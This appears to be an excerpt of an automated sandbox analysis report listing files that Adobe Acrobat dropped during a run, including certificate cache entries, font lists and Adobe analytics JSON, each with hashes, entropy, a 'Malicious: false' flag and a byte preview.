SSDEEP:	384:yezci5t1+qK1iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r1+qKes3OazzU89UTTgUL
MD5:	E48D701B6A8FEAD2F5F15F8A5EFCF3C2
SHA1:	8D3E5E165BACF553CAD24E241CFFD53D934868E9
SHA-256:	759AF2CEBA2FBD5F5AA5730E09599C370FF4D4FDA3B396B4EF41FA9B342EDDF1
SHA-512:	48B5A766AFA17294D5E24BF30111A4672BE2983C0BC60CD58A8E02DD7DCA97C8A38AAF8463E4385B21DCB2F8275958DFC4EF75BC1406A800129A1755AB22420B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7734522059659112
Encrypted:	false
SSDEEP:	48:7Mrp/E2ioyV+Eioy9oWoy1Cwoy1/XKOioy1noy1AYoy1Wioy1hioybioyVRoy1nx:7Apju+EF89XKQKD4b9IVXEBodRBki
MD5:	6C8C63B9AE4E9BA5D56FBB0110DDF1AA
SHA1:	99D9D91A7EFFA159E5B0046258ECC0E496971A58
SHA-256:	9E21A524D220660BCBACE88B1372D68C19E056BFCCD81BC788918127F1D2413A
SHA-512:	BA6F06583CA88EF75530D54E96D72F3814EE7880AD15B22ACDA781550DFA45DE1F943AEDBBD3E8A92CAAC7F861115E82B0D3FEDDC270EF1A055B22D5D1599CBD
Malicious:	false
Preview:	.... .c......T.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.764745823915414
Encrypted:	false
SSDEEP:	3:kkFklfWYpl/tfllXlE/HT8k/+ljNNX8RolJuRdxLlGB9lQRYwpDdt:kKBYDeT82+3NMa8RdWBwRd
MD5:	BD64FDEA253F4D66BEF25A7DADE84E54
SHA1:	23F18C1B97FEF32CEC65C5B54C83B2D28C309476
SHA-256:	974EDFB9C88BE9EB43DF6E527D1F1D92454268546C518F351841E34CE754F606
SHA-512:	B576032D9653F2499832DD0A143B29E3856D2ADEE949B13CC9BA47F5326FC86A3F3A132CF176A92A2433A97A565075DCFA9F10F31179EA66F75D67C53AD80E3E
Malicious:	false
Preview:	p...... ........,3a&gc..(....................................................... ..........W.....@..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.133081597444441
Encrypted:	false
SSDEEP:	6:kKssL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:FiDnLNkPlE99SNxAhUe/3
MD5:	D374A6A420C315A39463776C0FF2C843
SHA1:	B3ECF45B8975C307078B58BE62D030971AD83272
SHA-256:	158B71BBA6394A5C5D3EFE60E85793F56237CD3A859E5879A6CFED7C7C0ECEC5
SHA-512:	EF69D25281CEA2EB2A3C8B931871757F5C0163FCF9AD8CCABFC675BB6FFCE637F9286CBFB6C4A2FD4297C51BC47BDCC6A67E66D06A63BD898CF70CC8C862880B
Malicious:	false
Preview:	p...... ........#..8gc..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6248

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6248

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.364107866211831
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJM3g98kUwPeUkwRe9:YvXKXqFZc0vc75GMbLUkee9
MD5:	69D8ABB85F262421A5E79F40A658F37A
SHA1:	081D8819F1A9810C6713A8F95854D134D14E2AD3
SHA-256:	29762FF63B74A9E08674ECAB6A44C4FB921F4CAD7B4F819585B755B765C1BE0F
SHA-512:	7629541C46EB31658DA06BE226C5C43E39DAF9D01248EE933E7955F24072D4D51D4E5F92EEDB1AAB1FF3330F5A12CDA6F66A07B7785AB8F8397EB35EF8B24F02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.316901649075651
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJfBoTfXpnrPeUkwRe9:YvXKXqFZc0vc75GWTfXcUkee9
MD5:	969E2C4FDDCC03D3784AFF9E77CD47F1
SHA1:	64624D2CF39755D4749255F1D121762DCE8B93C8
SHA-256:	583FF5BE683DF9C35F46AD7812FE07FCD5634C9FE0B4B6764D6BA5BDC25ECA40
SHA-512:	E8C01F54896AA1D57C5C138B18C1A3F3350D7C5859EF9B8CFBC60EE3D245752FD42E108D916358BF7AF409FD03A351FE7482C8B1D03E4D5DA5AAD1BD1FC9D6E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.294444847294273
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJfBD2G6UpnrPeUkwRe9:YvXKXqFZc0vc75GR22cUkee9
MD5:	D97B6CF7A84A483F87602D17ACD3A470
SHA1:	7CC5E01427B54D335C9A5CA46F51A588A1F378FF
SHA-256:	5F07A5893E1F66BF653E34DC5A21CD897FE3E1D12CF27475CB8692A2B55A9154
SHA-512:	93F0958C3F34E1FA66C9BC1010A564FDE65E1091C85BC9DBE6409EC0B701361E9EF1516B33C7DBA906C99B1854E190DD30E015B9E2DE93BB1DF0317402BA7DE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.351144494508557
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJfPmwrPeUkwRe9:YvXKXqFZc0vc75GH56Ukee9
MD5:	78B171A660C72B770D4F26E26AE77042
SHA1:	6F2B925523BDB7E87C1F51D0AC802945E8EDD0CF
SHA-256:	5A4F1D73063397607C81DF213C111335BA1AC0FC27B8098F77CCA3C1D1DF86D9
SHA-512:	D2816D914358969FE35F5530E29B73FD619C343E1F93C02213F83051CC01B847B2141272EA5A55FEC6909410CDA2E13FE0233F82A2329587120EEBF4A778C8E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6875369598441
Encrypted:	false
SSDEEP:	24:Yv6XqFzvc7epLgE9cQx8LennAvzBvkn0RCmK8czOCCSYc:YvR07ehgy6SAFv5Ah8cv/Yc
MD5:	E964628ECD40F3022F8F487BC28F7D7A
SHA1:	3FA25F08ED2A76AA20C58138C563B25F75A25FA1
SHA-256:	28EE303271F4315FA901C47EC9FB1B3555BD69F660146D07BFDB37B068A61F67
SHA-512:	F400F8634C05F05CBDBFE29297A0B5FC0411DAB9CB281BD9021A56885BE87FCD89D35C0D1461556FB32EDCC1C8D83533B7AE42A7B8E9A7027B36E1DBE9D7A65A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299158512121542
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJf8dPeUkwRe9:YvXKXqFZc0vc75GU8Ukee9
MD5:	433569D9B2B9AB6AAD478E5F7287B929
SHA1:	4F7969188AFEFFF2DA473C09032FB8629E3B07DC
SHA-256:	E175B6E086401C2AED7F8EFA0DF1B02770BA2F20B769E163C3EA0CD837A6CF44
SHA-512:	25E55507915719BE5CB0886C96C71EDA99FD553B53622A158277830B40448E23644C1281DF0532EE8BDD1185FA2A96C4295CA533F426E908A9FBB8247D46A821
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30395838934149
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJfQ1rPeUkwRe9:YvXKXqFZc0vc75GY16Ukee9
MD5:	A3FEC91B6699A65CB43C5756EEC2DA9D
SHA1:	C7CDF227C43429E6E1593A08A9D6163DB86CE1BC
SHA-256:	4891B13AB69B9D9E786655D0777323CEB4677469813837F0AD426E52584066FF
SHA-512:	61611BC6148F491EB3D2C1D4BE8FB76C8A0D62DED2D08BF558C5399CA60B341DE9BA3908F236D6C8992D40EF0B69089E97BEB03F554F3524622C0C91857A1D00
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1aa1065b-4536-4502-b79a-0d98c20c55c5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736693243229,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309921213490233
Encrypted:	false
SSDEEP:	6:YEQXJ2HXARUZnHVoZcg1vRcR0YD7KoAvJfFldPeUkwRe9:YvXKXqFZc0vc75Gz8Ukee9
MD5:	475F7093CAF3F17245F3D7D234EBDA4D
SHA1:	8BAE89C13C2D7246F2256154DA436209CF11F545
